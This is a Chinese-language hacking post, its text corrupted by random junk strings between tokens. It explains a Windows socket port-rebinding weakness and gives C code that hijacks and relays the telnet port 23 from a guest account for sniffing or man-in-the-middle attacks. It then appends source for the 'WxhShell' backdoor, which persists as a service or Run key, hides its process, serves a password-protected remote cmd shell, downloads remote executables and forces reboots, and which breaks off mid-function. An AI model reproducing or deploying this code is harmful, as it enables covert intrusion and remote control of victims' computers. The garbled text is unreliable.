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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;+<&8.=,) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &b?LP] `(f!*Ru@/z saddr.sin_family = AF_INET; L2pp6bW )d$glI+ saddr.sin_addr.s_addr = htonl(INADDR_ANY); HN.3 u\LFlX0sO bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hvuIxqv !y %9M~f* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0LfU=X0#7 &znQ;NH# 这意味着什么?意味着可以进行如下的攻击: KA){''>8 & M~`:R 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \yd
s5g!: yfx7{naKC` 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e|p$d:#! USVqB\# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KTn}w:+B\ mN>h5G>a 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ~d%Pnw| FFH_d <q 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NDs!a niqN{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `xywho%/Y gOr%!QaF 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 72X0Tq 4 0qo)."V{ #include T.We: ,{ #include VsN pHQG] #include 1\g6)|R-+ #include P#_sg0oJF DWORD WINAPI ClientThread(LPVOID lpParam); 9(5OeH6o? int main() GHsilba { n[]tXrhU WORD wVersionRequested; s_>
f5/i2 DWORD ret; (d<4"! WSADATA wsaData; )@L'wW BOOL val; Wt=| SOCKADDR_IN saddr; +\|Iu;w SOCKADDR_IN scaddr; ;Y;qg
int err; 59!Fkd3 SOCKET s; LNa $
X5` SOCKET sc; `X`2:@gQ int caddsize; 7hi"6, HANDLE mt; aS pWsT DWORD tid; #F*1V(! wVersionRequested = MAKEWORD( 2, 2 ); ,daKC err = WSAStartup( wVersionRequested, &wsaData ); ^~$)F_`" if ( err != 0 ) { Fb4`| printf("error!WSAStartup failed!\n"); UY <e&Npo return -1; FI<q@HF } x,otFp saddr.sin_family = AF_INET; ~,BIf+\XF g*F '[Z." //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /-qxS <?o :LQ5u[g$\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h~(D@/tB saddr.sin_port = htons(23); !O#dV1wAa if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {fEwA8Ir { H.WE6 printf("error!socket failed!\n"); #Ap;_XcKw return -1; 5i-Rglo } OI?K/rn val = TRUE; L9@&2?k //SO_REUSEADDR选项就是可以实现端口重绑定的 PIWux{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IR- dU<<9O { svuq gSn printf("error!setsockopt failed!\n"); "d$m@c return -1; VB?Ohk]< } sk
2-5S //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; IhBp%^H0- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N*`b%XGn3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PmR~c, Da v PYg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d5>H3D{49 { (C\hVy2X?N ret=GetLastError(); jC3Vbm&ZZ printf("error!bind failed!\n"); P{5-Mx!{& return -1; aj"M>zd*} } \2(SB listen(s,2); W0C@9&pn6 while(1) 4WN3=B { dTL5-@ caddsize = sizeof(scaddr); z OSs[[ //接受连接请求 rC7``#5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3"kdjOB if(sc!=INVALID_SOCKET) 9Li%KOY { `iJhG^w9M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fsEzpUY:{W if(mt==NULL) h@@nR(<i { eXkujjSw" printf("Thread Creat Failed!\n"); (__yh^h:m break; 7;tJK^J` } #CnHf } nD0}wiL{ CloseHandle(mt); I0'[!kBF| } T /mI[*1xI closesocket(s); \(Pohw WWo WSACleanup(); L3p` return 0; 78Aa|AJU } UDc$"a}ds{ DWORD WINAPI ClientThread(LPVOID lpParam) {\z({Wlb] { R'dSbn SOCKET ss = (SOCKET)lpParam; 'r@:Cz3e*I SOCKET sc; qU,c~C=Qf unsigned char buf[4096]; 8:o<ry SOCKADDR_IN saddr; b:(- long num; X<MO7I DWORD val; 7nVRn9Hn DWORD ret; oM2UzB{( //如果是隐藏端口应用的话,可以在此处加一些判断 { K_kPgKS //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 x%< saddr.sin_family = AF_INET; =B ];?% saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Fe^Qb5G saddr.sin_port = htons(23); p:OPw D+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M^7MU}5w { rFZrYm printf("error!socket failed!\n"); ;ml
3 return -1; zi'Jr)n } S/`%Q2za4 val = 100; Ln.ZVMZ; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m$LVCB { 3loY qeP ret = GetLastError(); ?,=f\Fz! return -1; ycJg%]F*5 } tj*y)28- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y2R \]FrT { ]O
TH"*j ret = GetLastError(); E_1="&p return -1; TS"D]Txs } EQe5JFR if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E"|4Y(G { $2MAZGJV printf("error!socket connect failed!\n"); '>k{tPi. closesocket(sc); Dw2Q 'E closesocket(ss); npDIX return -1; zD)pF1,7:8 } DOQc"+ while(1) !>(RK"KWq] { OI0B:() //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a1.|X i'/z //如果是嗅探内容的话,可以再此处进行内容分析和记录 8CC/ BOe //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oW$s
xS num = recv(ss,buf,4096,0); }Z`(aDH if(num>0) T}D<Sc send(sc,buf,num,0); t0#[#I1+ else if(num==0) 8seBT;S break; f{lZKfrp num = recv(sc,buf,4096,0); MDRe(rF= if(num>0) m9md|yS send(ss,buf,num,0); A
K/z6XGy else if(num==0) qUo-Dq> break; k]rLjcB } kL S(w??T closesocket(ss);
tehUD& closesocket(sc); )2Hff. return 0 ; nd{R
9B } 8z<r.joxC DXQi-+? %gcc
y| ========================================================== (X6sSO ~JuKV&&}K 下边附上一个代码,,WXhSHELL S)A'Y]2X 3|rn] yZ ========================================================== (vJ2z
=z R[1BfZ 6s #include "stdafx.h" me\cLFw "%@uO)A / #include <stdio.h> pl V7+?G #include <string.h> DJQglt}~ #include <windows.h> ArI]`h'W #include <winsock2.h> }Uf<ZXW #include <winsvc.h> gor<g))\ #include <urlmon.h> 5M23/=
N cgj.e #pragma comment (lib, "Ws2_32.lib") s(&;q4| #pragma comment (lib, "urlmon.lib") #vf_D?^ l#@&~f[ #define MAX_USER 100 // 最大客户端连接数 p8, 0lo #define BUF_SOCK 200 // sock buffer n+D#k 8{ #define KEY_BUFF 255 // 输入 buffer qUf)j\7"Fn =f:(r'm?r. #define REBOOT 0 // 重启 L|^o71t| #define SHUTDOWN 1 // 关机 DI&MC9j( YCw('i(| #define DEF_PORT 5000 // 监听端口 sg'NBAo" 6U,fz#<,} #define REG_LEN 16 // 注册表键长度 d
`j?7Z #define SVC_LEN 80 // NT服务名长度 {5Eyr$ t#<KxwhcN // 从dll定义API hN(L@0) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z,WW]Y,$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >WM3| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EX?h0Uy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }r2[!gGd%| ~F#A
Pt // wxhshell配置信息 OCHm; struct WSCFG { wH!#aB>kP int ws_port; // 监听端口 bj"z8 kP char ws_passstr[REG_LEN]; // 口令 B;-2$
77 int ws_autoins; // 安装标记, 1=yes 0=no =J@`0H" char ws_regname[REG_LEN]; // 注册表键名 4w{-'M.B char ws_svcname[REG_LEN]; // 服务名 1.SkIu% char ws_svcdisp[SVC_LEN]; // 服务显示名 qa}>i&uO char ws_svcdesc[SVC_LEN]; // 服务描述信息 74zSP/G' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,w&:_n int ws_downexe; // 下载执行标记, 1=yes 0=no K!b8= K` char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" pIVq("& char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GM}C]MVD <4zT;:NQ }; [F|+(} <{019Oa // default Wxhshell configuration fQQ|gwVki struct WSCFG wscfg={DEF_PORT, e`sw*m5 "xuhuanlingzhe", Y&,rTa 1, m{&w{3pQk "Wxhshell", '; /84j-3F "Wxhshell", _
K/swT{f "WxhShell Service", O}gX{_|6 "Wrsky Windows CmdShell Service", 8Z:Ezg3^ "Please Input Your Password: ", -3mgza 1, r] t )x* " http://www.wrsky.com/wxhshell.exe", 7C5pAb: "Wxhshell.exe" X&\o{w9% }; id?_>9@P 4uX(_5#j // 消息定义模块 f[qPG& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ypA: P char *msg_ws_prompt="\n\r? for help\n\r#>"; 8U^D(jrz char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; +{6`F1MO char *msg_ws_ext="\n\rExit."; ek[kq[U9 char *msg_ws_end="\n\rQuit."; :l~E E! char *msg_ws_boot="\n\rReboot..."; @\~tHJ?hQd char *msg_ws_poff="\n\rShutdown..."; vbKQ* char *msg_ws_down="\n\rSave to "; ,QS'$n ,U%=rfB~ char *msg_ws_err="\n\rErr!"; 0VIZ=-e char *msg_ws_ok="\n\rOK!"; k_Tswf3 <bdyAUeFw char ExeFile[MAX_PATH]; 9d"5wx int nUser = 0; l^,qO3ES HANDLE handles[MAX_USER]; aRKv+{K int OsIsNt; Qcgu`]7} Wy(pLBmb SERVICE_STATUS serviceStatus; 6_U|(f SERVICE_STATUS_HANDLE hServiceStatusHandle; n{=7 yK 2 `5=0E1k // 函数声明 <9\,QR) int Install(void); 01nsdZ- int Uninstall(void); -]QguZE int DownloadFile(char *sURL, SOCKET wsh); C<t RU5| int Boot(int flag); ,xj3w#`zaf void HideProc(void); vfXJYw+6_ int GetOsVer(void); {{E jMBg{ int Wxhshell(SOCKET wsl); cDO:'- void TalkWithClient(void *cs); C|$L6n>DR6 int CmdShell(SOCKET sock); /:Y9sz uW` int StartFromService(void); F;a3 int StartWxhshell(LPSTR lpCmdLine); l7Y8b` WFj*nS^~l
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DoG%T(M!a9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,F}r@
i_y:4 // 数据结构和表定义 yId;\o B SERVICE_TABLE_ENTRY DispatchTable[] = >i`8R { !a4cjc( {wscfg.ws_svcname, NTServiceMain}, !u%9;>T7 {NULL, NULL} Oc^m_U8>^ }; 6oA~J]< 1C'P)f28 // 自我安装 7(@(Hm int Install(void) &<=e_0zT { `A"Q3sf% char svExeFile[MAX_PATH]; A:c]1 HKEY key; |>@-grs strcpy(svExeFile,ExeFile); 3]_qj*V Q!x`M4 // 如果是win9x系统,修改注册表设为自启动 tO4):i1 if(!OsIsNt) { T\cR2ZT~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j Ii[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vu ?3$ RegCloseKey(key); X/wmKi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \2Xx%SX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &PSTwZd RegCloseKey(key); yP%o0n/"x return 0; 55,=[ } 2x6<8J8v* }
Lxz } :4iU^6 else { Hy;901( % -HN%B?}. x // 如果是NT以上系统,安装为系统服务 nIR*_<ow SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +h|K[=l\ if (schSCManager!=0) E\_W { v}f&q! SC_HANDLE schService = CreateService )ZN(2z ( 'jN/~I schSCManager, +/w(K, wscfg.ws_svcname, $^K]&Mft wscfg.ws_svcdisp, p6 <}3m$ SERVICE_ALL_ACCESS, M`bL5J; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L=,Y1nO:p SERVICE_AUTO_START, &:q[-K@! SERVICE_ERROR_NORMAL, '}T;b} &s svExeFile, =tNzGaWJ NULL, p;F2z;# NULL, AX8gij NULL, >"O1`xdG NULL, E;xMPK$ NULL TMNfJz ); bSY;[{Kl if (schService!=0)
*[VEF { XL&hs+Y CloseServiceHandle(schService); 5pB^Y MP CloseServiceHandle(schSCManager); Vj/fAHR`>' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ckAsGF_B~! strcat(svExeFile,wscfg.ws_svcname); QP+c?ct}hF if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'xsbm^n6a& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :cEd [Jm9 RegCloseKey(key); QTeFR&q8 return 0; pK<%<dIc } ,;7`{Nab } E3LBPXK CloseServiceHandle(schSCManager); r7RU"H:j8 } b#Jo Xa9 } @uoT{E[ HRj7n<>L= return 1; WBy[m ?d } <8g=BWA ^g70AqUc // 自我卸载 8g.AT@ ,Q int Uninstall(void) UBL(N r { =?wMESU HKEY key; Gee~>:_Q{J lD9%xCo9( if(!OsIsNt) { g)X7FxS,z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &3WkH W RegDeleteValue(key,wscfg.ws_regname); Mp^^!AP 9 RegCloseKey(key); -g9^0V`G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mMV2h|W RegDeleteValue(key,wscfg.ws_regname); dFx2>6AZt RegCloseKey(key); @X
K> return 0; N?\bBt@ } E]\D>[0O } :m]/u( /N } #NWZ k.S else { O>nK,. ZGA)r0]
P` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FwXKRZa if (schSCManager!=0) T!Xm")d { 1]_?$)$T SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <"hb#Tn if (schService!=0) <V7SSm { %)BwE if(DeleteService(schService)!=0) { #-}kG" CloseServiceHandle(schService); WC3W+v G7 CloseServiceHandle(schSCManager); &fCP2]hj' return 0; S@9w'upd } iJ,M-GHK CloseServiceHandle(schService); YR?3 61FK } <9ePi9D( CloseServiceHandle(schSCManager); Sjw2 j#Q } ,2RC |h^O, } 1P+Mv^%I *~"zV`*Q return 1; oG+K '(BB } AGl|>f) zhuyePn // 从指定url下载文件 67}]s@:l]( int DownloadFile(char *sURL, SOCKET wsh) zv$Gma_ { ub[""M? HRESULT hr; <\E"clZI char seps[]= "/"; m5X3{[a: char *token; 8.*\+nH char *file; "|(rVj= char myURL[MAX_PATH]; K~`n}_: char myFILE[MAX_PATH]; #DQX<:u ?(fQ<i n strcpy(myURL,sURL); >]:N?[Y_~} token=strtok(myURL,seps); \Y51KB\ while(token!=NULL) I~d#p ]> { F9Ifw><XM file=token; mGt\7&` token=strtok(NULL,seps); [u/zrpTk } kyy0&L QpdujtH` GetCurrentDirectory(MAX_PATH,myFILE); -Pqi1pj] strcat(myFILE, "\\"); {z.[tvE8h strcat(myFILE, file); f@wsSm send(wsh,myFILE,strlen(myFILE),0); &sI,8X2a2 send(wsh,"...",3,0); 4}.WhE|h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u^}7Vs
. if(hr==S_OK) @PT`CK} return 0; qgwv=5| else TrSN00 return 1; J!=](s5| !T<z'zZU } `
(7N^@ "}S9`-Wd| // 系统电源模块 [54@i rH int Boot(int flag) IW5*9)N? { A6{t%k~F HANDLE hToken; B`g<Ge~ TOKEN_PRIVILEGES tkp; Q
mb[ e> Rf)'HT if(OsIsNt) { S1D9AcK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); % MfGVx}nG LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0t5Q9#RY tkp.PrivilegeCount = 1; s,1pZT <E tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eNIkiJ$uS AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BengRG[ if(flag==REBOOT) { u3Zzu \{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4a(g<5wfI return 0; JK@izI } |HaU3E*R else { aDm-X r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u~'m7 return 0; xaGVu0q } T^/Gj|N* } z1Bj_u{ else { SRA|7g}7W if(flag==REBOOT) { #2_o[/&}x@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {toyQ)C7 return 0; :)KTZ } fOqS|1rC else { 1_Dn?G^H if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7sQ]w
return 0; /Nj:!!
AN } Q3B'-BZe } .\z|Fr ^ 4u3Q return 1; m&Y;/kr } 8CHb~m@^$ .nj?;). // win9x进程隐藏模块 Rz<d%C;R void HideProc(void) A2g"=x[1@K { }XfS#Xr1aV
o9U0kI=W HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GNhtnB if ( hKernel != NULL ) 6MLN>)t { 6.
+[
z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w\"n!^ms ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eh({K;> FreeLibrary(hKernel); ]C}u-B746 } HI"!n$p 2x<Qt2" return; |QAeQWP+1 } ,z?<7F1q= 2a._?(k_y // 获取操作系统版本 jMz1s%C int GetOsVer(void) \3n{w
{ m
wRLzN OSVERSIONINFO winfo; ,xtKPA winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !wLH&X$XT GetVersionEx(&winfo); '(3Nopl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EzD
-1sJ return 1; >gX0Ij#G else nZ`2Z7! return 0; [a>JG8[,t } j61BP8E #a7Amh\nT // 客户端句柄模块 Vq\..!y int Wxhshell(SOCKET wsl) U}RS*7` { VgFF+Eg SOCKET wsh; Se^/VVm struct sockaddr_in client; GvZac DWORD myID; t6<sNzF& /XWPN(JC? while(nUser<MAX_USER) [#hl}q(P# { 4pfix1F g int nSize=sizeof(client); `mq4WXO\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _e:5XQ if(wsh==INVALID_SOCKET) return 1; 0p:ClM2O
;+r) j"W handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .yK\&q[< if(handles[nUser]==0) s3MMICRT. closesocket(wsh); zJG x5JC else 5oT2)yz nUser++; m'Ek p } L#7)X5a__ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .q_uJ_qu- -CU7u=*b return 0; A]tf>H#1 } eZR8<Z% 9Th32}H // 关闭 socket e\d5SKY void CloseIt(SOCKET wsh) [5RFQ! { we:5gK& closesocket(wsh); ? !oVf> nUser--; /+<%,c$n ExitThread(0); 8}"f|6Wm } fncwe ';? gq/ePSa // 客户端请求句柄 ,IT)zCpaBP void TalkWithClient(void *cs) }> !"SU:d { 8aZey_Hw;+ sO{0hZkc SOCKET wsh=(SOCKET)cs; ~*' 8=D?) char pwd[SVC_LEN]; |z(Ws char cmd[KEY_BUFF]; |oBdryi char chr[1]; a!0?L0_W& int i,j; 7/D9n9F siss_1J while (nUser < MAX_USER) { I7q?V1fu4 k[r./xEv+t if(wscfg.ws_passstr) { !dbA ( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^EuyvftZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); os(Jr!p_= //ZeroMemory(pwd,KEY_BUFF); w}U5dM` i=0; (AM,4)lW, while(i<SVC_LEN) { .kB3jfw0, +9Hk+. // 设置超时 =|6^)lt$ fd_set FdRead; Z+``/Q]>+ struct timeval TimeOut; FQ9csUjpB FD_ZERO(&FdRead); NqQ(X'W7 FD_SET(wsh,&FdRead); Hz3 S^o7 TimeOut.tv_sec=8; $@u^Jt, ? TimeOut.tv_usec=0; PFDWC3< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t5X^(@q4N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^+-L;XkeY ?2<6#>(7a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F;MT4*4 pwd =chr[0];
];b!*Z if(chr[0]==0xd || chr[0]==0xa) { *nsnX/e(- pwd=0; pZ_FVID break; (!>g8=`" } Pv2nV!X6 i++; >Rki[SNb-b } ,$6MM6W;-F JIY ^N9_ // 如果是非法用户,关闭 socket hyvV%z Z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V&,<,iNN } 5cNzG4z qh(-shZ4Du send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UwL"%0u send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jzJ1+/9 L
yA(. while(1) { e\
l,gQP S)'q:`tZo ZeroMemory(cmd,KEY_BUFF); O 44IH`SI e}Af"LI // 自动支持客户端 telnet标准 vZ nO j=0; H8t{ >C)] while(j<KEY_BUFF) { p\]LEP\z, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bZOy~F| cmd[j]=chr[0]; tFST.yT>zg if(chr[0]==0xa || chr[0]==0xd) { 602eLV) cmd[j]=0; 2`FsG/o\T~ break; ,Y\4xg*` } Zs$RKJ7 j++; ^$Eiz. } =iK6/ y` GaK_9Eg-2 // 下载文件 E]eqvT NH if(strstr(cmd,"http://")) { %*Z2Gef?H send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]g-qWSKU if(DownloadFile(cmd,wsh)) J|2Hqd send(wsh,msg_ws_err,strlen(msg_ws_err),0); U*R~w5W.[ else E=1/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a@=36gx) } iJaNP%N else { %}]4Nsd e i8[Y{a* switch(cmd[0]) { -Ib+ /' +SA<0l // 帮助 w6In{uO-Z case '?': { KlqJEtO_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fddbXs0Sn break; QWW7I.9r } (Q]Y>
' // 安装 4\'81"ei case 'i': { Z=t#*"J if(Install()) #&2N,M!Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); sv{0XVn+^ else ^Lv^W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MoR-8vnJ break; _M]rH<h } f_P+qm // 卸载 Oi%~8J> case 'r': { @~U6=(+ if(Uninstall()) ]Y:
W[p send(wsh,msg_ws_err,strlen(msg_ws_err),0); %K7EF_% else v/00LR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X3=Jp'p$h break; ;!Z7-OZX } o`1V // 显示 wxhshell 所在路径 CT:eV7<>s case 'p': { KjfKo;T char svExeFile[MAX_PATH]; H"RF[bX( strcpy(svExeFile,"\n\r"); `:BQ&T%UQR strcat(svExeFile,ExeFile); L"du"- send(wsh,svExeFile,strlen(svExeFile),0); 6k=Wt7C break; ;YXr G } {6y.%ysU // 重启 Q.E^9giC case 'b': { =jv$ 1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sd@gEp)L if(Boot(REBOOT)) FQ~ead36C send(wsh,msg_ws_err,strlen(msg_ws_err),0); iN/!k.ybW} else { [BR}4(7 closesocket(wsh); RJsG]` ExitThread(0); `"=L } aU8Ti8A> break; s1vYZ } NG W{Z~l // 关机 rMg{j
gD case 'd': { b%jG?HSu send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (kNTXhAr4 if(Boot(SHUTDOWN)) M^Ay,jK! send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2l/5i]Tq else { Sfa
m=.l closesocket(wsh); *7fPp8k+Z; ExitThread(0); [W\atmd" } (Rg!km%2T break; [ma#8p) } O+Lb***b" // 获取shell 5b4V/d*
' case 's': { . .je< CmdShell(wsh); H{Y=&#%d closesocket(wsh); rbZ6V : ExitThread(0); 70*iJ^| break; ^5 =E`q". } `k%#0E*H // 退出
kt0{-\
p case 'x': { / z?7ic0
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Bsk2&17z CloseIt(wsh); RTA=|q break; IoHkcP[H } }%d-U;Tt2 // 离开 tBI+uu aa2 case 'q': { s=Q*| send(wsh,msg_ws_end,strlen(msg_ws_end),0); '\E{qlI closesocket(wsh); B|$13dHfa WSACleanup(); aKzD63 exit(1); ~Q9)Q break; A*U'SCg(G } B5r_+?=2e } bYU+-|54 } H^1 a3L] f4y;K>u7p // 提示信息 ot<o& if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Kx:^~}20o } >N1]h'q> } ~dr1Qi#j? F j('l return; jz7ltoP } <Jrb"H[T" u#,'ys // shell模块句柄 w:xKgng=L int CmdShell(SOCKET sock) +4nR&1z$ { .EZ{d STARTUPINFO si; D#[ :NXahn ZeroMemory(&si,sizeof(si)); (E(:F[.S si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j/mp.'P1k si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +Q]'kJ<s PROCESS_INFORMATION ProcessInfo; qFChZ+3> char cmdline[]="cmd"; %
j{pz CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f>/ 1KV return 0; Jl4XE%0 } q/-j`'A_pb "g1;TT:1~ // 自身启动模式 +F&]BZ int StartFromService(void) +ENW=N { y1My,
?"? typedef struct b!~%a { ;C3?Ic DWORD ExitStatus; JJ=is}S| DWORD PebBaseAddress; "{"2h>o#D} DWORD AffinityMask; ZboJszNb; DWORD BasePriority; i*w-Q= ULONG UniqueProcessId; 5T3>fw2G ULONG InheritedFromUniqueProcessId; GZVl384@ } PROCESS_BASIC_INFORMATION; 4lUE(#kUM Cj\+u\U# PROCNTQSIP NtQueryInformationProcess; W&f Py%g
